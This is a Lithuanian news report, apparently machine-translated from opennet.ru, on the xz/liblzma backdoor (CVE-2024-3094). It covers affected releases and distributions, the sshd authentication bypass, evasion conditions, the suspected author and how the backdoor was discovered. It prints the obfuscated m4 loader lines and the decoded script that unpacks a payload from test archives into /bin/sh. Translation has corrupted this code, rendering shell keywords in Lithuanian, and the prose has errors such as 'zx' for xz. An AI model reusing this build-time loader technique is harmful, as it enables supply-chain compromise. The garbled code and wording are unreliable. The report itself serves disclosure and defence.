Xz/liblzma bibliotekoje buvo aptiktos užpakalinės durys, leidžiančios įeiti per sshd

„XZ Utils“ pakete, į kurį įeina „liblzma“ biblioteka ir paslaugos, skirtos darbui su suspaustais duomenimis „.xz“ formatu, buvo identifikuotos užpakalinės durys (CVE-2024-3094), leidžiančios perimti ir keisti duomenis, apdorojamus susijusių programų. su liblzmos biblioteka. Pagrindinis užpakalinių durų tikslas yra OpenSSH serveris, kuris kai kuriuose platinimuose yra susietas su libsystemd biblioteka, kuri savo ruožtu naudoja liblzma. Sshd susiejimas su pažeidžiama biblioteka leidžia užpuolikams gauti prieigą prie SSH serverio be autentifikavimo.

Užpakalinės durys buvo oficialiuose leidimuose 5.6.0 ir 5.6.1, paskelbtuose vasario 24 ir kovo 9 d., kurie sugebėjo patekti į kai kuriuos platinimus ir saugyklas, pavyzdžiui, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ir 40 beta versija, openSUSE gamykla ir tumbleweed, LibreELEC, Alpine edge, Solus, NixOS nestabili, OpenIndiana, OpenMandriva riedėjimas, pkgsrc srovė, Slackware srovė, Manjaro testavimas. Visiems xz 5.6.0 ir 5.6.1 leidimų naudotojams rekomenduojama skubiai grįžti į 5.4.6 versiją.

Tarp problemą mažinančių veiksnių galima pastebėti, kad liblzma versijai su užpakalinėmis durimis nepavyko tapti stabilių didelių platinimų leidimų dalimi, tačiau ji paveikė openSUSE Tumbleweed ir Fedora 40-beta. „Arch Linux“ ir „Gentoo“ naudojo pažeidžiamą „zx“ versiją, tačiau jos nėra jautrios atakai, nes jos netaiko „system-notify“ pataisos „openssh“, todėl sshd susiejamas su „liblzma“. Užpakalinės durys veikia tik x86_64 sistemas, pagrįstas Linux branduoliu ir Glibc C biblioteka.

Užpakalinių durų aktyvinimo kodas buvo paslėptas m4 makrokomandose iš build-to-host.m4 failo, kurį naudojo automake įrankių rinkinys kurdamas. Surinkimo metu, vykdant sudėtingas užmaskuotas operacijas, pagrįstas archyvais (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), naudojamais veikimo teisingumui patikrinti, buvo sugeneruotas objekto failas su kenkėjišku kodu, kuris buvo įtrauktas į liblzma biblioteką ir pakeitė kai kurių jos funkcijų veikimo logiką. M4 makrokomandos, kurios suaktyvina užpakalines duris, buvo įtrauktos į išleidimo tarbalus, tačiau jų nebuvo „Git“ saugykloje. Tuo pat metu saugykloje buvo ir kenkėjiškų testų archyvų, t.y. užpakalines duris įdiegęs asmuo turėjo prieigą ir prie saugyklos, ir prie leidimų generavimo procesų.

Naudojant liblzma programose, kenkėjiški pakeitimai gali būti naudojami duomenims perimti ar modifikuoti arba paveikti sshd veikimą. Visų pirma, kenkėjiškas kodas suklastojo funkciją RSA_public_decrypt, kad apeitų sshd autentifikavimo procesą. Užpakalinės durys apėmė apsaugą nuo aptikimo ir nepasireiškė, kai buvo nustatyti aplinkos kintamieji LANG ir TERM (t. y. vykdant procesą terminale), o aplinkos kintamieji LD_DEBUG ir LD_PROFILE nebuvo nustatyti, taip pat buvo aktyvuojami tik vykdant /usr/sbin/sshd vykdomąjį failą. Užpakalinės durys taip pat turėjo priemonę, leidžiančią aptikti vykdymą derinimo aplinkoje.

Visų pirma, faile m4/build-to-host.m4 buvo naudojamas gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Pirmoje konstrukcijoje grep operacija rado failą tests/files/bad-3-corrupt_lzma2.xz, kurį išpakavus sugeneruotas scenarijus: ####Sveiki#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && išeiti iš 0 [ ! $(uname) = "Linux" ] && išeiti iš 0 [ ! $(uname) = "Linux" ] && išeiti iš 0 [ ! $(uname) = "Linux" ] && išeiti iš 0 [ ! $(uname) = "Linux" ] && išeiti 0 eval `grep ^srcdir= config.status` if test -f ../../config.status; tada eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F neapdorotas —lzma1 -dc|/bin/sh ####Pasaulis####

Kaip užpuolikams pavyko gauti prieigą prie xz projekto infrastruktūros, kol kas iki galo neišaiškinta. Taip pat dar neaišku, kiek vartotojų ir projektų buvo pažeista dėl galinių durų. Tariamas užpakalinių durų (JiaT75 – Jia Tan) autorius, saugykloje paskelbęs archyvus su kenkėjišku kodu, susirašinėjo su „Fedora“ kūrėjais ir siuntė „Debian“ ištraukimo užklausas, susijusias su platinimų perkėlimu į xz 5.6.0 šaką, ir to nepateikė. kelti įtarimų, nes jis dalyvavo xz kūrė pastaruosius dvejus metus ir yra antras kūrėjas pagal atliktų pakeitimų skaičių. Be xz projekto, tariamas backdoor autorius taip pat dalyvavo kuriant xz-java ir xz įterptuosius paketus. Be to, Jia Tan prieš kelias dienas buvo įtrauktas į XZ Embedded projekto, naudojamo Linux branduolyje, prižiūrėtojų skaičių.

Kenkėjiškas pakeitimas buvo aptiktas išanalizavus pernelyg didelį procesoriaus suvartojimą ir klaidas, kurias generuoja valgrind jungiantis per ssh prie Debian sid pagrįstų sistemų. Pastebėtina, kad xz 5.6.1 leidime buvo pakeitimai, kuriuos parengė tariamas galinių durų autorius, atsakydamas į skundus dėl sshd sulėtėjimo ir gedimų, kurie kilo atnaujinus į zx 5.6.0 versiją su backdoor. Be to, praėjusiais metais Jia Tan atliko pakeitimų, kurie buvo nesuderinami su tikrinimo režimu „-fsanitize=address“, todėl jis buvo išjungtas atliekant „fuzz“ testavimą.

Šaltinis: opennet.ru

Добавить комментарий